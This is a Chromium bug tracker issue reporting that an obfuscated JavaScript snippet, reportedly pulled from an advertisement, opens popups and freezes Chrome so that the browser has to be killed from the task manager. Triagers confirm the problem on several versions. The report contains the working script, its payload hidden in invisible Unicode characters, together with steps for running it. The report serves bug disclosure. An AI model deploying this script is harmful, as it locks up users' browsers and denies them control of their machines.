New issue
Advanced search Search tips

Issue 860576 link

Starred by 3 users

Issue metadata

Status: Untriaged
Owner: ----
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: Linux , Windows , Mac
Pri: 2
Type: Bug


Show other hotlists

Hotlists containing this issue:
Test


Sign in to add a comment

Chrome is unable to stop a script, the whole process has to be killed from task manager

Reported by hakerh403@gmail.com, Jul 6

Issue description

UserAgent: Mozilla/5.0 (Windows NT 6.3; Win64; x64⁡‫‮‪⁣‭᠎⁢⁤‬) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36

Steps to reproduce the problem:
1. Disable Internet connection
2. Enable popups (in Chrome)
3. Execute the following JavaScript code

r=(a,b)=>{for(c of a)try{b(c)}catch{}},r([r+
1,[r],r],a=>r(Reflect.ownKeys(a=a.__proto__)
,b=>a[b[2]+b[1]]=a[b])),(a=b=>a.no(b)())(`a(
'${'⁡‫‮‪⁣‭᠎⁢⁤‬‪‫‮⁤‮⁣‭‮⁤‪‬⁣⁡‪‪⁣‪‫‪‪‬⁣⁣‮‪‪⁢‪‫‪‪᠎⁣⁢‪‫‮⁤‮‪‮‮⁡⁢‪‮‮⁤‪⁡⁣⁣‪‭‪⁣‪‮⁤⁣᠎‪‫⁣⁤⁢‪‪‪‭‪⁣‪⁣‮⁤⁣᠎‪‮⁤‮‮‮⁡⁣⁤‪⁡‭⁢⁣‭‪‬‪‪⁢‪‬‪‫‪‮⁤‪‮⁤‮⁣‭‪⁣‪‪‫‪⁢‪⁡⁣᠎‪᠎‮⁤⁣⁣⁣‪‭⁣‪⁣⁣⁤⁣᠎⁣‪⁣⁤‪‪‬‪⁣‭‭⁣᠎‪‭‪‪‪⁣⁤⁢‮⁤⁣‮⁢‪‮‪‫‪⁣‪‪‫⁣‮⁡‪‭‪‮⁤‪‫‮⁣‮᠎⁣᠎‪᠎⁣⁤⁣‮⁣⁣‭‪⁢‪‭‪⁤‪‫⁣‪⁣‪‭‪‮⁤‮⁡⁢‪‬⁣‪‪⁣‪‪‪⁢‪‬⁣⁣‮⁤⁣‪‪‭‪‪‪‪⁣⁣⁤‮᠎⁣᠎‪᠎⁣⁤‪‫‭⁣᠎‪‮⁣⁤⁢‪⁣‮⁤‪⁣‪⁣‮‪‬‪⁣‪⁣⁣⁣⁣⁣‪‪‪⁣‪⁢⁣‭⁢‬‮⁤⁣‪‪⁢⁣⁡‪‭‪⁡‪⁣‭‪⁣᠎⁣᠎‪‭‮⁤‮⁡⁤᠎⁣᠎‮‪⁤⁤‮⁤‪⁣᠎⁣⁤‮᠎⁣᠎‪᠎⁣⁤‪⁣‭⁣⁡‮⁤‪‮⁡⁡‪‮⁤‪‫⁣⁣⁣‪‭‪⁣⁣‪⁡‫‮⁡‪‫‮᠎‫⁣‪⁣‪⁢‬⁡‪‬⁣‮‪‭‫‪‮⁤‪‫‫⁤‪᠎‮⁤‮‮‮‮‪‮‮‮‮⁡᠎‪‮⁤⁣⁡‪‮‪‭⁣‮‪‭‪‬‪⁡‪‪‭‪⁣‪⁣⁡⁡‪‪‫‮᠎⁡⁣‮‮᠎‫‮‫‮‮⁡‪‭⁣᠎⁣⁣⁣‪⁡‪⁤‪‭‫‮⁢‪‪⁡⁡‪‪⁣‭᠎⁡‪‫‭⁢⁡‪‪⁣᠎‫᠎‭‭‭⁤‮‫‫⁤⁡‪⁢‪‪‪‭‫⁢⁡‪‫‭᠎‮‮‭‮᠎⁣⁤‫⁣‪⁤⁢‪⁢‮᠎‫‮‮⁡⁣‪⁡⁤‫᠎‭‮‭‭‫‪‮‫⁢⁣‭⁣⁢‮⁢‫‪᠎‮⁣⁢‫᠎‭‮‪⁣⁢‮‫‭᠎⁣‪⁢‪‮‮⁤⁡‮⁣‪⁤⁣‭⁡⁣‮⁤⁡‮⁡⁡‫‬‮⁡⁡‪‮‪‮⁤⁡‮‪‮⁢⁣⁣‬‫‫‪⁣‫‫‫⁢⁣⁣‭‫‫‫‪‪‮⁢⁣⁣⁢‪⁣‮⁤⁡‫‬⁤‮⁡‭⁡⁡‮⁡‫‮⁣᠎⁣⁡‪‬⁣⁣⁢‪⁡‮‫‪‮⁣⁢‪⁣⁣‮⁤‮‫⁤‪⁤‭‮⁡‫‬‪‮⁤‪‪‪⁢‪‪‮⁣‪⁢‪‮⁡⁣‭‮⁤⁣⁢‪⁢‮⁤⁣‫‭‮‮⁢‮‫‪‪‪‫‪⁣‮‪⁢‭⁡᠎‫‮‮‮᠎‫‪⁢⁢‮⁤‫‮⁣‪‪⁣⁣⁢‮‫‭‫⁤⁤⁤‪᠎⁡᠎⁣‪‫‪⁢‪‬‭⁡‮⁢‮‮‫‮‮‪⁢‪‪⁣‪⁣‭‪‪‪⁤‮⁤‮‪‮⁣⁤‪‮‪⁢‪‪⁣⁣⁡‪‫‮‮‮‫⁣⁣‭᠎‫‬‫‬‫‬⁤‮‮⁢⁤‮‮⁢‮‫⁤⁡‪᠎᠎‮‮⁣‮⁤‪⁣‪‪‭⁢⁣‮⁡‪⁤‮⁤‫⁡⁡‮⁤‪‪⁣‪‪‮‫‫‮‭⁣᠎‪⁣‮⁢‮‫‪‪⁣⁢‫⁡‭⁤‪⁤⁡‮‮‭‮᠎⁣‫⁣‪⁣‮⁣‫‪‪‭⁣‫‪‪‪⁤‪‭⁣⁤‭‭‮᠎⁡‫⁡‬⁡‬⁡‮⁢‮‫‭‪‮‫⁣‬⁡‮‫‮⁣⁤⁡⁡⁣⁣‭⁣‬⁣⁣‬⁣‭⁣‭⁣‫⁡⁣⁣‮‫‮‬᠎‮⁡‬⁡‮‫‬᠎‮‫‬⁡‮⁡‭‫‪⁣⁣‫‮⁣᠎⁣‫‬⁡⁡‪⁢‪‪⁣‬‫⁢⁡⁡⁡‪⁢‪‪⁣‫⁢‭‫‪‫᠎‫⁢⁣‪⁡‮‪⁢⁣‪⁢‪‭⁣‪⁡‫‮‮⁡‭⁢‪‭‫‮⁡⁣‪‪‪‮⁣⁣‬‭⁢‪‪‪‬⁣‪‮⁢⁡‮⁣‭⁤⁣⁢⁣᠎⁤‮‫᠎‮‫⁢‪⁡᠎⁡⁣‮‮⁣‮⁢‪⁡‪‮‪⁣‮⁡‪‫‮‭⁢⁣‮⁡⁢‪‪‪⁢‪‪‪⁣⁣‪⁡⁡‫⁡‫⁡‫⁡‫⁡‬‮᠎⁣‮⁤⁣‭᠎‪‪⁤‮᠎‪⁤᠎‮⁤‫‮⁣‫⁡‮⁡‮⁡‮‫‪‫⁣‪‪‪‬⁣⁣‫‫‬⁢‪⁡‪‪‪‭‪⁣‪⁣᠎‫‪⁢‪‬‪‫⁣‫‮‪‫⁢‪⁡⁣⁣‪‭‪⁣‪᠎‫‮‫‪‭‫⁣⁣‪‪‬‪‭‪⁡⁣‪‭‫‮‭⁣᠎‫‮⁤⁢‪‭᠎‮‫‪⁣‭‫‭⁣‭‫⁣‪‪‪‮‫᠎‪‮‪‬⁣‮⁣‮‫⁢⁤⁣‮‫⁤‮᠎⁣⁤⁢⁣‮‮⁤‪‮‮‫‪⁣‪⁢‬‪‪⁣‮‪‬‫‬‮‫⁢‫‮⁤⁣‫‭‮⁢⁤‮‫‮‬‮⁡⁡‮᠎‪‭‪‪⁣‫‭‭⁡⁡‪⁣‮⁡‫‮⁣⁤‪⁣⁣‪‪‭‪‪⁢‪⁤⁣⁣‭‮‭‪‮⁣‪‬⁣‮⁣‮᠎⁡⁣⁣‮‫‮‬⁡⁢‪‬⁣⁤‮⁡⁢‮⁡‬‭‮‫⁣‪‭‪‬‪‪‫⁡‮᠎‪⁤‮⁤‮‫‮⁤⁡‭‮⁣⁣‪⁤‪‫‪᠎‭⁣⁡⁣‪⁣‪‫⁢‪⁡᠎‪‫⁣⁢‫‪‮᠎⁣⁡⁤‫‬‮⁡⁣‬⁣‭⁡⁡‫‭⁣‮᠎‪‪‪‬⁣‭⁡‪‭‪⁡‮⁤⁣⁣‬⁣⁣⁢⁢‪⁡‭⁣‫‬⁤⁢᠎‭⁣⁡‮‫‫‬‫‫⁤‫⁢‫᠎‫‫‭‫‫⁣‫‪‫‫‫‮‫‫‫‫⁡⁡‬⁡⁢‪‪⁡᠎⁢⁣⁢‪⁡⁣⁡‪⁡⁡⁡‮⁡⁡‫⁣‭⁣᠎‪᠎⁣⁤‬⁣‮⁣⁡‪⁢‪‭⁣᠎‭⁤‭‭‬‮⁤‪‪‬‪‭‪⁣⁡‪‬⁣⁡‭‭‮᠎‪⁣‪‪‫‪⁢‬‭‪⁡‭⁢⁣‭᠎⁣‪‮⁤⁣‪‪‬‪‮⁣‪⁤‪‪⁣⁣⁤⁣‪‪‫‪⁣‭‮⁣‪‫⁣‪‮⁤‮⁤⁣‪‮‪‬‪⁤⁣⁡‪⁢‪⁣‪⁣‪‪⁣‭‪‬‪‪⁢‪‬‪‫‪‭⁢⁣‮‪⁣‪‭‪⁤‪‪‬⁣⁣‪‮‮⁤‮⁣᠎‪‪‪‬⁣‮᠎‮᠎‭⁣‭⁣‪⁣‮‪‭⁣‪‪‬‪‫‮⁤‮‫⁢‪‭⁣⁤⁢‮‫‮⁡‪‮‮‭‭‭‭'.lp``.pa(g=(a,b,c,d,e,f)=>b<16?'':(~b&1
?'\\x':'')+(c=c.dn(a),c>9?(g+a)[c*2-19]:c)).
io``}')`)

2. When it opens a popup, wait ~10 seconds
3. Chrome starts lagging so much that it is unusable
4. Wait 20 seconds after it starts lagging
5. Try to close the popup or Chrome normally
6. Chrome becomes unresponsible
7. You have to kill it from task manager or in some other way

What is the expected behavior?
I found this script on some advertisement. The ad was annoying, but I couldn't close the ad, then I extracted this script and seems indeed to be unkillable.

Chrome should allow users to close popups and kill scripts that take CPU. For example, if you execute `while(1);` the tab becomes unresponsible, but you can still close the tab.

What went wrong?
The script (the main tab and popup) is unstoppable, it uses 100% CPU and there is no way to kill it except using task manager.

For example, Firefox allows users to kill this script. Afetr about ~20 seconds, Firefox displays something like "A webpage is slowing down your browser, do you want to kill this script". Chrome should provide similar option.

Did this work before? N/A 

Chrome version: 67.0.3396.87  Channel: n/a
OS Version: 6.3
Flash Version: /
 
Components: -Blink UI
Labels: Needs-Triage-M67
Cc: phanindra.mandapaka@chromium.org
Labels: Triaged-ET Needs-Feedback
Thanks for filing the issue!

@Reporter: Could you please share a sample test file/URL or better triaging this issue.As we are getting error with given code as per screenshot.

Thanks..!
860576.PNG
42.4 KB View Download
Re C#3:

What error do you see? There are no errors at the screenshot you provided.

You can execute the script in two ways:
1) create a html file and put this script into a <script> tag, or
2) open about:blank and execute the script from devtools console

Make sure that you enabled popups, disabled the Internet connection and test with 67.0.3396.87. If you have additional troubles running the script, please let me know.
Project Member

Comment 5 by sheriffbot@chromium.org, Jul 18

Labels: -Needs-Feedback
Thank you for providing more feedback. Adding the requester to the cc list.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Cc: viswa.karala@chromium.org
Labels: Target-71 M-71 FoundIn-71 FoundIn-70 FoundIn-69 OS-Linux OS-Mac
Status: Untriaged (was: Unconfirmed)
Able to reproduce the issue on chrome version#67.0.3396.87, latest stable# 69.0.3497.100 and on latest chrome# 71.0.3576.0 as per steps mentioned in comment# 4. As this issue is seen from M-66, hence considering this issue as Non-Regression and marking it as Untriaged.
Note: From M-60 to M-65, on loading the code given in comment# 0 in console, it is throwing an error, find the attached for the same.
Thanks!
860576.PNG
26.6 KB View Download
Labels: Hotlist-DesktopUIChecked Hotlist-DesktopUIValid
** UI Mass triage **

Still able to reproduce the issue on all OS using chrome latest canary-72.0.3617.0, hence adding respective labels.

Thanks..

Sign in to add a comment